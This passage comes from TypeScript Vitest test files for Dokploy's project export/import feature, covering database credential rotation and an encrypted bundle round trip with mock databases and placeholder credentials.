field: "databasePassword" as const,
|
||||
oldPassword: "oldpass",
|
||||
newPassword: "newpass",
|
||||
},
|
||||
];
|
||||
const { text, matched } = rotateText(
|
||||
"A=oldpass\nB=oldpass\nC=unrelated",
|
||||
specs,
|
||||
);
|
||||
expect(text).toBe("A=newpass\nB=newpass\nC=unrelated");
|
||||
expect(matched[0]?.count).toBe(2);
|
||||
});
|
||||
|
||||
it("leaves text untouched and reports no match when the password isn't present", () => {
|
||||
const specs = [
|
||||
{
|
||||
serviceId: "pg-new-1",
|
||||
serviceType: "postgres" as const,
|
||||
field: "databasePassword" as const,
|
||||
oldPassword: "oldpass",
|
||||
newPassword: "newpass",
|
||||
},
|
||||
];
|
||||
const { text, matched } = rotateText("nothing to see here", specs);
|
||||
expect(text).toBe("nothing to see here");
|
||||
expect(matched).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("processes the longer old password first so a short password isn't spliced into a longer, unrelated one", () => {
|
||||
const specs = [
|
||||
{
|
||||
serviceId: "svc-a",
|
||||
serviceType: "postgres" as const,
|
||||
field: "databasePassword" as const,
|
||||
oldPassword: "secret",
|
||||
newPassword: "A_NEW",
|
||||
},
|
||||
{
|
||||
serviceId: "svc-b",
|
||||
serviceType: "postgres" as const,
|
||||
field: "databasePassword" as const,
|
||||
oldPassword: "mysecret123",
|
||||
newPassword: "B_NEW",
|
||||
},
|
||||
];
|
||||
const { text } = rotateText(
|
||||
"A=secret\nB=postgres://u:mysecret123@host/db",
|
||||
specs,
|
||||
);
|
||||
expect(text).toBe("A=A_NEW\nB=postgres://u:B_NEW@host/db");
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildRotationPlan", () => {
|
||||
it("gives databasePassword and databaseRootPassword the same new value when the source used the same value for both", async () => {
|
||||
const tx = {
|
||||
query: {
|
||||
mysql: {
|
||||
findFirst: async () => ({
|
||||
mysqlId: "mysql-new-1",
|
||||
databasePassword: "sharedpass",
|
||||
databaseRootPassword: "sharedpass",
|
||||
}),
|
||||
},
|
||||
},
|
||||
} as any;
|
||||
const snapshot = {
|
||||
resources: {
|
||||
services: [
|
||||
{
|
||||
kind: "mysql",
|
||||
mysqlId: "mysql-old-1",
|
||||
},
|
||||
],
|
||||
},
|
||||
} as any;
|
||||
const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } };
|
||||
|
||||
const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap);
|
||||
|
||||
expect(specs).toHaveLength(2);
|
||||
const appSpec = specs.find((s) => s.field === "databasePassword");
|
||||
const rootSpec = specs.find((s) => s.field === "databaseRootPassword");
|
||||
expect(appSpec?.newPassword).toBeDefined();
|
||||
expect(appSpec?.newPassword).toBe(rootSpec?.newPassword);
|
||||
|
||||
const { text } = rotateText(
|
||||
"MYSQL_ROOT_PASSWORD=sharedpass\nMYSQL_PASSWORD=sharedpass",
|
||||
specs,
|
||||
);
|
||||
expect(text).toBe(
|
||||
`MYSQL_ROOT_PASSWORD=${rootSpec?.newPassword}\nMYSQL_PASSWORD=${appSpec?.newPassword}`,
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps a password that is too short or equal to the user/name and reports it", async () => {
|
||||
const tx = {
|
||||
query: {
|
||||
postgres: {
|
||||
findFirst: async () => ({
|
||||
postgresId: "pg-new-1",
|
||||
databaseUser: "app",
|
||||
databaseName: "app",
|
||||
databasePassword: "app",
|
||||
}),
|
||||
},
|
||||
},
|
||||
} as any;
|
||||
const snapshot = {
|
||||
resources: {
|
||||
services: [
|
||||
{
|
||||
kind: "postgres",
|
||||
postgresId: "pg-old-1",
|
||||
name: "db",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
],
|
||||
},
|
||||
} as any;
|
||||
|
||||
const { specs, unsafe } = await buildRotationPlan(tx, snapshot, {
|
||||
postgres: { "pg-old-1": "pg-new-1" },
|
||||
});
|
||||
|
||||
expect(specs).toHaveLength(0);
|
||||
expect(unsafe).toEqual([
|
||||
expect.objectContaining({
|
||||
serviceId: "pg-new-1",
|
||||
serviceType: "postgres",
|
||||
}),
|
||||
]);
|
||||
});
|
||||
|
||||
it("still generates independent new passwords when app and root passwords differ", async () => {
|
||||
const tx = {
|
||||
query: {
|
||||
mysql: {
|
||||
findFirst: async () => ({
|
||||
mysqlId: "mysql-new-1",
|
||||
databasePassword: "app-pass",
|
||||
databaseRootPassword: "root-pass",
|
||||
}),
|
||||
},
|
||||
},
|
||||
} as any;
|
||||
const snapshot = {
|
||||
resources: {
|
||||
services: [{ kind: "mysql", mysqlId: "mysql-old-1" }],
|
||||
},
|
||||
} as any;
|
||||
const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } };
|
||||
|
||||
const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap);
|
||||
|
||||
const appSpec = specs.find((s) => s.field === "databasePassword");
|
||||
const rootSpec = specs.find((s) => s.field === "databaseRootPassword");
|
||||
expect(appSpec?.newPassword).not.toBe(rootSpec?.newPassword);
|
||||
});
|
||||
});
|
||||
|
||||
const applicationWithDbRef = {
|
||||
applicationId: "app-1",
|
||||
name: "my-app",
|
||||
appName: "my-app-abc123",
|
||||
environmentId: "env-1",
|
||||
env: "DATABASE_URL=postgres://u:realdbpassword123@db/mydb",
|
||||
buildArgs: "BUILD_DB_PASS=realdbpassword123",
|
||||
buildSecrets: null,
|
||||
previewEnv: null,
|
||||
serverId: null,
|
||||
buildServerId: null,
|
||||
githubId: null,
|
||||
gitlabId: null,
|
||||
giteaId: null,
|
||||
bitbucketId: null,
|
||||
refreshToken: "webhook-token",
|
||||
registryId: null,
|
||||
buildRegistryId: null,
|
||||
rollbackRegistryId: null,
|
||||
customGitSSHKeyId: null,
|
||||
customGitSSHKey: null,
|
||||
networkIds: [],
|
||||
owner: null,
|
||||
repository: null,
|
||||
sourceType: "docker",
|
||||
autoDeploy: false,
|
||||
isPreviewDeploymentsActive: false,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
domains: [],
|
||||
mounts: [
|
||||
{
|
||||
mountId: "mount-1",
|
||||
type: "file",
|
||||
content: "password = realdbpassword123",
|
||||
mountPath: "/etc/app.conf",
|
||||
serviceType: "application",
|
||||
createdAt: "2024-01-01",
|
||||
},
|
||||
],
|
||||
redirects: [],
|
||||
security: [],
|
||||
ports: [],
|
||||
schedules: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const applicationWithoutDbRef = {
|
||||
...applicationWithDbRef,
|
||||
applicationId: "app-2",
|
||||
appName: "my-app-two-def456",
|
||||
name: "my-app-two",
|
||||
env: "UNRELATED=1",
|
||||
buildArgs: null,
|
||||
mounts: [],
|
||||
};
|
||||
|
||||
const postgresService = {
|
||||
postgresId: "pg-1",
|
||||
name: "my-db",
|
||||
appName: "my-db-xyz789",
|
||||
environmentId: "env-1",
|
||||
env: "",
|
||||
databasePassword: "realdbpassword123",
|
||||
serverId: null,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
mounts: [],
|
||||
backups: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
compose: [],
|
||||
};
|
||||
|
||||
const projectTree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-src",
|
||||
env: "",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
projectId: "project-1",
|
||||
env: "",
|
||||
isDefault: true,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
applications: [applicationWithDbRef, applicationWithoutDbRef],
|
||||
postgres: [postgresService],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const readDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
projects: { findFirst: async () => projectTree },
|
||||
environments: { findFirst: async () => undefined },
|
||||
applications: {
|
||||
findMany: async () => [applicationWithDbRef, applicationWithoutDbRef],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
schedules: { findMany: async () => [] },
|
||||
volumeBackups: { findMany: async () => [] },
|
||||
vaultProvider: { findMany: async () => [] },
|
||||
registry: { findMany: async () => [] },
|
||||
destinations: { findMany: async () => [] },
|
||||
network: { findMany: async () => [] },
|
||||
certificates: { findMany: async () => [] },
|
||||
gitProvider: { findMany: async () => [] },
|
||||
server: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => ({ organizationId: "org-dest" }),
|
||||
},
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
sshKeys: { findMany: async () => [] },
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const runApplyForRotationTest = async (rotateDatabaseCredentials: boolean) => {
|
||||
const db = readDb();
|
||||
const captureResult = await capture(
|
||||
db,
|
||||
{ kind: "project", id: "project-1" },
|
||||
baseScope,
|
||||
{
|
||||
detectRequirements: (tree, scope) => detectRequirements(db, tree, scope),
|
||||
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
|
||||
},
|
||||
);
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: baseScope,
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: captureResult.inventory.totals,
|
||||
},
|
||||
resources: captureResult.resources,
|
||||
requirements: captureResult.requirements,
|
||||
warnings: captureResult.warnings,
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const plan: Plan = await buildPlan(
|
||||
db,
|
||||
snapshot,
|
||||
"org-dest",
|
||||
{ kind: "newProject", name: "imported-project" },
|
||||
{ rotateDatabaseCredentials },
|
||||
);
|
||||
|
||||
const insertedByTable = new Map<unknown, Record<string, unknown>[]>();
|
||||
let counter = 0;
|
||||
const idFieldByTable = new Map<unknown, string>([
|
||||
[projects, "projectId"],
|
||||
[applications, "applicationId"],
|
||||
[postgres, "postgresId"],
|
||||
[mounts, "mountId"],
|
||||
]);
|
||||
const environmentsTable = (await import("@dokploy/server/db/schema"))
|
||||
.environments;
|
||||
idFieldByTable.set(environmentsTable, "environmentId");
|
||||
|
||||
const writeDb = {
|
||||
query: {
|
||||
vaultProvider: { findFirst: async () => undefined },
|
||||
github: { findFirst: async () => undefined },
|
||||
gitlab: { findFirst: async () => undefined },
|
||||
gitea: { findFirst: async () => undefined },
|
||||
bitbucket: { findFirst: async () => undefined },
|
||||
applications: {
|
||||
findFirst: async () => (insertedByTable.get(applications) ?? [])[0],
|
||||
},
|
||||
postgres: {
|
||||
findFirst: async () => (insertedByTable.get(postgres) ?? [])[0],
|
||||
},
|
||||
server: { findFirst: async () => undefined },
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
mounts: {
|
||||
findMany: async (args?: { where?: unknown }) =>
|
||||
(insertedByTable.get(mounts) ?? []).filter((row) =>
|
||||
args?.where ? row.type === "file" : true,
|
||||
),
|
||||
},
|
||||
projects: {
|
||||
findFirst: async () => (insertedByTable.get(projects) ?? [])[0],
|
||||
},
|
||||
environments: {
|
||||
findFirst: async () =>
|
||||
(insertedByTable.get(environmentsTable) ?? [])[0],
|
||||
},
|
||||
compose: { findFirst: async () => undefined },
|
||||
},
|
||||
insert: (table: unknown) => ({
|
||||
values: (values: Record<string, unknown>) => {
|
||||
const idField = idFieldByTable.get(table);
|
||||
const row = { ...values };
|
||||
if (idField) {
|
||||
row[idField] =
|
||||
(values[idField] as string | undefined) ??
|
||||
`new-${idField}-${++counter}`;
|
||||
}
|
||||
const list = insertedByTable.get(table) ?? [];
|
||||
list.push(row);
|
||||
insertedByTable.set(table, list);
|
||||
return { returning: async () => [row] };
|
||||
},
|
||||
}),
|
||||
update: (table: unknown) => ({
|
||||
set: (values: Record<string, unknown>) => ({
|
||||
where: async (condition: any) => {
|
||||
const chunks = condition?.queryChunks ?? [];
|
||||
const paramChunk = chunks.find(
|
||||
(c: any) => c?.constructor?.name === "Param",
|
||||
);
|
||||
const columnChunk = chunks.find(
|
||||
(c: any) => typeof c?.name === "string",
|
||||
);
|
||||
const list = insertedByTable.get(table) ?? [];
|
||||
for (const row of list) {
|
||||
if (
|
||||
!columnChunk ||
|
||||
!paramChunk ||
|
||||
row[columnChunk.name] === paramChunk.value
|
||||
) {
|
||||
Object.assign(row, values);
|
||||
}
|
||||
}
|
||||
},
|
||||
}),
|
||||
}),
|
||||
transaction: async (fn: (tx: unknown) => Promise<unknown>) => {
|
||||
return fn({ ...writeDb });
|
||||
},
|
||||
} as any as TransferWriteDb;
|
||||
|
||||
const result = await apply(
|
||||
writeDb,
|
||||
snapshot,
|
||||
plan,
|
||||
captureResult.secretsPlain,
|
||||
"org-dest",
|
||||
);
|
||||
|
||||
return {
|
||||
result,
|
||||
insertedPostgres: (insertedByTable.get(postgres) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>,
|
||||
insertedApps: insertedByTable.get(applications) ?? [],
|
||||
insertedMounts: insertedByTable.get(mounts) ?? [],
|
||||
};
|
||||
};
|
||||
|
||||
describe("apply() with rotateDatabaseCredentials (opt-in)", () => {
|
||||
it("rotates the postgres password, rewrites the referencing app's env, build args and file mount, and warns about the app with no reference", async () => {
|
||||
const { result, insertedPostgres, insertedApps, insertedMounts } =
|
||||
await runApplyForRotationTest(true);
|
||||
|
||||
expect(insertedPostgres.databasePassword).not.toBe("realdbpassword123");
|
||||
expect(typeof insertedPostgres.databasePassword).toBe("string");
|
||||
|
||||
const referencingApp = insertedApps.find(
|
||||
(a) => a.applicationId === result.idMap.application?.["app-1"],
|
||||
);
|
||||
const nonReferencingApp = insertedApps.find(
|
||||
(a) => a.applicationId === result.idMap.application?.["app-2"],
|
||||
);
|
||||
expect(String(referencingApp?.env)).toContain(
|
||||
String(insertedPostgres.databasePassword),
|
||||
);
|
||||
expect(String(referencingApp?.env)).not.toContain("realdbpassword123");
|
||||
expect(String(referencingApp?.buildArgs)).toBe(
|
||||
`BUILD_DB_PASS=${insertedPostgres.databasePassword}`,
|
||||
);
|
||||
expect(String(insertedMounts[0]?.content)).toBe(
|
||||
`password = ${insertedPostgres.databasePassword}`,
|
||||
);
|
||||
expect(String(nonReferencingApp?.env)).toBe("UNRELATED=1");
|
||||
|
||||
expect(result.rotations).toHaveLength(1);
|
||||
expect(result.rotations[0]).toMatchObject({
|
||||
field: "databasePassword",
|
||||
occurrences: 3,
|
||||
});
|
||||
|
||||
expect(
|
||||
result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it("leaves the password untouched when rotateDatabaseCredentials is false (the default)", async () => {
|
||||
const { result, insertedPostgres, insertedApps } =
|
||||
await runApplyForRotationTest(false);
|
||||
|
||||
expect(insertedPostgres.databasePassword).toBe("realdbpassword123");
|
||||
|
||||
const referencingApp = insertedApps.find(
|
||||
(a) => a.applicationId === result.idMap.application?.["app-1"],
|
||||
);
|
||||
expect(String(referencingApp?.env)).toContain("realdbpassword123");
|
||||
|
||||
expect(result.rotations).toHaveLength(0);
|
||||
expect(
|
||||
result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"),
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,444 @@
|
||||
import { mkdtemp, rm } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import {
|
||||
applications,
|
||||
compose,
|
||||
domains,
|
||||
mounts,
|
||||
ports,
|
||||
projects,
|
||||
registry,
|
||||
schedules,
|
||||
security,
|
||||
} from "@dokploy/server/db/schema";
|
||||
import type {
|
||||
ExportScope,
|
||||
TransferDb,
|
||||
TransferWriteDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
apply,
|
||||
buildPlan,
|
||||
capture,
|
||||
detectRequirements,
|
||||
detectWarnings,
|
||||
inspectBundle,
|
||||
LOCAL_SERVER_CANDIDATE_ID,
|
||||
serialize,
|
||||
unlockBundle,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
const PASSPHRASE = "correct-horse-battery-staple";
|
||||
|
||||
const application = {
|
||||
applicationId: "app-1",
|
||||
name: "my-app",
|
||||
appName: "my-app-abc123",
|
||||
environmentId: "env-1",
|
||||
env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token",
|
||||
buildArgs: null,
|
||||
buildSecrets: null,
|
||||
previewEnv: null,
|
||||
serverId: null,
|
||||
buildServerId: null,
|
||||
githubId: null,
|
||||
gitlabId: null,
|
||||
giteaId: null,
|
||||
bitbucketId: null,
|
||||
refreshToken: "webhook-token",
|
||||
registryId: "registry-src-1",
|
||||
buildRegistryId: null,
|
||||
rollbackRegistryId: null,
|
||||
customGitSSHKeyId: null,
|
||||
customGitSSHKey: null,
|
||||
networkIds: [],
|
||||
owner: null,
|
||||
repository: null,
|
||||
sourceType: "docker",
|
||||
autoDeploy: false,
|
||||
isPreviewDeploymentsActive: false,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
domains: [
|
||||
{ domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" },
|
||||
],
|
||||
mounts: [
|
||||
{
|
||||
mountId: "mount-1",
|
||||
type: "file",
|
||||
content: "server { listen 80; }",
|
||||
mountPath: "/etc/nginx/nginx.conf",
|
||||
serviceType: "application",
|
||||
createdAt: "2024-01-01",
|
||||
},
|
||||
],
|
||||
redirects: [],
|
||||
security: [
|
||||
{
|
||||
securityId: "sec-1",
|
||||
username: "admin",
|
||||
password: "basicauthpass",
|
||||
createdAt: "2024-01-01",
|
||||
},
|
||||
],
|
||||
ports: [
|
||||
{
|
||||
portId: "port-1",
|
||||
publishedPort: 8080,
|
||||
publishMode: "host",
|
||||
targetPort: 80,
|
||||
protocol: "tcp",
|
||||
},
|
||||
],
|
||||
schedules: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const composeService = {
|
||||
composeId: "compose-1",
|
||||
name: "my-compose",
|
||||
appName: "my-compose-def456",
|
||||
environmentId: "env-1",
|
||||
env: "",
|
||||
serverId: null,
|
||||
composeFile: "services:\n web:\n image: nginx\n",
|
||||
sourceType: "raw",
|
||||
composeType: "docker-compose",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
domains: [],
|
||||
mounts: [],
|
||||
backups: [],
|
||||
schedules: [
|
||||
{
|
||||
scheduleId: "schedule-1",
|
||||
name: "nightly-restart",
|
||||
cronExpression: "0 0 * * *",
|
||||
shellType: "bash",
|
||||
scheduleType: "compose",
|
||||
command: "docker compose restart",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
},
|
||||
],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
postgres: [],
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
};
|
||||
|
||||
const projectTree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-src",
|
||||
env: "",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
projectId: "project-1",
|
||||
env: "",
|
||||
isDefault: true,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
applications: [application],
|
||||
compose: [composeService],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const readDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
projects: { findFirst: async () => projectTree },
|
||||
environments: { findFirst: async () => undefined },
|
||||
applications: {
|
||||
findMany: async () => [application],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
schedules: { findMany: async () => [] },
|
||||
volumeBackups: { findMany: async () => [] },
|
||||
vaultProvider: {
|
||||
findMany: async () => [
|
||||
{
|
||||
vaultProviderId: "vault-dest-1",
|
||||
name: "prod",
|
||||
providerType: "hashicorp",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
registry: {
|
||||
findMany: async () => [
|
||||
{
|
||||
registryId: "registry-src-1",
|
||||
registryName: "Acme",
|
||||
registryUrl: "https://registry.example.com",
|
||||
imagePrefix: "acme",
|
||||
username: "user",
|
||||
password: "pass",
|
||||
organizationId: "org-src",
|
||||
},
|
||||
],
|
||||
findFirst: async () => ({
|
||||
registryId: "registry-src-1",
|
||||
registryName: "Acme",
|
||||
registryUrl: "https://registry.example.com",
|
||||
imagePrefix: "acme",
|
||||
username: "user",
|
||||
password: "pass",
|
||||
organizationId: "org-src",
|
||||
}),
|
||||
},
|
||||
destinations: { findMany: async () => [] },
|
||||
network: { findMany: async () => [] },
|
||||
certificates: { findMany: async () => [] },
|
||||
gitProvider: { findMany: async () => [] },
|
||||
server: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => ({ organizationId: "org-dest" }),
|
||||
},
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
sshKeys: { findMany: async () => [] },
|
||||
domains: { findMany: async () => [] },
|
||||
ports: { findMany: async () => [] },
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: { registry: "value" },
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
let workDir: string;
|
||||
let outDir: string;
|
||||
let extractDir: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
workDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-work-"));
|
||||
outDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-out-"));
|
||||
extractDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-extract-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(workDir, { recursive: true, force: true });
|
||||
await rm(outDir, { recursive: true, force: true });
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe("transfer roundtrip: capture -> serialize -> deserialize -> plan -> apply", () => {
|
||||
it("re-creates the project with equivalent values, remapped ids/appNames/serverId, and no plaintext secrets anywhere along the way", async () => {
|
||||
const db = readDb();
|
||||
|
||||
const captureResult = await capture(
|
||||
db,
|
||||
{ kind: "project", id: "project-1" },
|
||||
baseScope,
|
||||
{
|
||||
detectRequirements: (tree, scope) =>
|
||||
detectRequirements(db, tree, scope),
|
||||
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
|
||||
},
|
||||
);
|
||||
|
||||
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
|
||||
await serialize(
|
||||
{
|
||||
resources: captureResult.resources,
|
||||
inventory: captureResult.inventory,
|
||||
requirements: captureResult.requirements,
|
||||
warnings: captureResult.warnings,
|
||||
dumps: [],
|
||||
scope: baseScope,
|
||||
organizationId: "org-src",
|
||||
dokployVersion: "1.0.0-test",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
},
|
||||
captureResult.secretsPlain,
|
||||
PASSPHRASE,
|
||||
local(workDir),
|
||||
local(bundlePath),
|
||||
);
|
||||
|
||||
await inspectBundle(local(bundlePath), local(extractDir));
|
||||
const unlocked = await unlockBundle(local(extractDir), PASSPHRASE);
|
||||
|
||||
const plan = await buildPlan(
|
||||
db,
|
||||
unlocked.snapshot,
|
||||
"org-dest",
|
||||
{ kind: "newProject", name: "imported-project" },
|
||||
{
|
||||
resolutions: {
|
||||
"server:null": {
|
||||
requirementKey: "server:null",
|
||||
action: "reuse",
|
||||
targetId: LOCAL_SERVER_CANDIDATE_ID,
|
||||
},
|
||||
},
|
||||
},
|
||||
);
|
||||
expect(
|
||||
plan.resolutions[
|
||||
Object.keys(plan.resolutions).find((k) => k.startsWith("vault:"))!
|
||||
]?.action,
|
||||
).toBe("reuse");
|
||||
expect(
|
||||
plan.resolutions[
|
||||
Object.keys(plan.resolutions).find((k) => k.startsWith("registry:"))!
|
||||
]?.action,
|
||||
).toBe("reuse");
|
||||
expect(plan.pendingServices).toEqual([]);
|
||||
|
||||
const insertedByTable = new Map<unknown, Record<string, unknown>[]>();
|
||||
let counter = 0;
|
||||
const idFieldByTable = new Map<unknown, string>([
|
||||
[projects, "projectId"],
|
||||
[applications, "applicationId"],
|
||||
[compose, "composeId"],
|
||||
[domains, "domainId"],
|
||||
[mounts, "mountId"],
|
||||
[ports, "portId"],
|
||||
[security, "securityId"],
|
||||
[registry, "registryId"],
|
||||
[schedules, "scheduleId"],
|
||||
]);
|
||||
const environmentsTable = (await import("@dokploy/server/db/schema"))
|
||||
.environments;
|
||||
idFieldByTable.set(environmentsTable, "environmentId");
|
||||
|
||||
const writeDb = {
|
||||
query: {
|
||||
vaultProvider: {
|
||||
findFirst: async () => ({
|
||||
vaultProviderId: "vault-dest-1",
|
||||
name: "prod",
|
||||
organizationId: "org-dest",
|
||||
assignments: [],
|
||||
}),
|
||||
},
|
||||
registry: {
|
||||
findFirst: async () => ({
|
||||
registryId: "registry-dest-1",
|
||||
organizationId: "org-dest",
|
||||
}),
|
||||
},
|
||||
github: { findFirst: async () => undefined },
|
||||
gitlab: { findFirst: async () => undefined },
|
||||
gitea: { findFirst: async () => undefined },
|
||||
bitbucket: { findFirst: async () => undefined },
|
||||
server: { findFirst: async () => undefined },
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
mounts: { findMany: async () => [] },
|
||||
},
|
||||
insert: (table: unknown) => ({
|
||||
values: (values: Record<string, unknown>) => {
|
||||
const idField = idFieldByTable.get(table);
|
||||
const row = { ...values };
|
||||
if (idField) {
|
||||
row[idField] =
|
||||
(values[idField] as string | undefined) ??
|
||||
`new-${idField}-${++counter}`;
|
||||
}
|
||||
const list = insertedByTable.get(table) ?? [];
|
||||
list.push(row);
|
||||
insertedByTable.set(table, list);
|
||||
return { returning: async () => [row] };
|
||||
},
|
||||
}),
|
||||
update: () => ({ set: () => ({ where: async () => {} }) }),
|
||||
transaction: async (fn: (tx: unknown) => Promise<unknown>) => {
|
||||
const tx = { ...writeDb };
|
||||
return fn(tx);
|
||||
},
|
||||
} as any as TransferWriteDb;
|
||||
|
||||
const result = await apply(
|
||||
writeDb,
|
||||
unlocked.snapshot,
|
||||
plan,
|
||||
unlocked.secretsPlain,
|
||||
"org-dest",
|
||||
);
|
||||
|
||||
const projectRow = (insertedByTable.get(projects) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>;
|
||||
expect(projectRow.projectId).not.toBe("project-1");
|
||||
// The shared fake db also reports "imported-project" as an existing project, so the name conflict is auto-renamed.
|
||||
expect(projectRow.name).toBe("imported-project (imported)");
|
||||
expect(result.idMap.project?.["project-1"]).toBe(projectRow.projectId);
|
||||
|
||||
const insertedApp = (insertedByTable.get(applications) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>;
|
||||
expect(insertedApp.applicationId).not.toBe("app-1");
|
||||
expect(insertedApp.appName).not.toBe("my-app-abc123");
|
||||
expect(insertedApp.env).toBe(
|
||||
"DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token",
|
||||
);
|
||||
expect(insertedApp.registryId).toBe("registry-src-1");
|
||||
expect(insertedByTable.get(registry) ?? []).toHaveLength(0);
|
||||
|
||||
const insertedCompose = (insertedByTable.get(compose) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>;
|
||||
expect(insertedCompose.composeId).not.toBe("compose-1");
|
||||
expect(insertedCompose.appName).not.toBe("my-compose-def456");
|
||||
expect(insertedCompose.composeFile).toBe(composeService.composeFile);
|
||||
|
||||
const insertedSchedule = (insertedByTable.get(schedules) ?? [])[0] as
|
||||
| Record<string, unknown>
|
||||
| undefined;
|
||||
expect(insertedSchedule?.composeId).toBe(insertedCompose.composeId);
|
||||
expect(insertedSchedule?.organizationId).toBe("org-dest");
|
||||
|
||||
const insertedDomain = (insertedByTable.get(domains) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>;
|
||||
expect(insertedDomain.host).toBe("app-1.example.com");
|
||||
expect(insertedDomain.applicationId).toBe(insertedApp.applicationId);
|
||||
|
||||
const insertedMount = (insertedByTable.get(mounts) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>;
|
||||
expect(insertedMount.content).toBe("server { listen 80; }");
|
||||
|
||||
const insertedSecurity = (insertedByTable.get(security) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>;
|
||||
expect(insertedSecurity.password).toBe("basicauthpass");
|
||||
|
||||
const insertedPort = (insertedByTable.get(ports) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
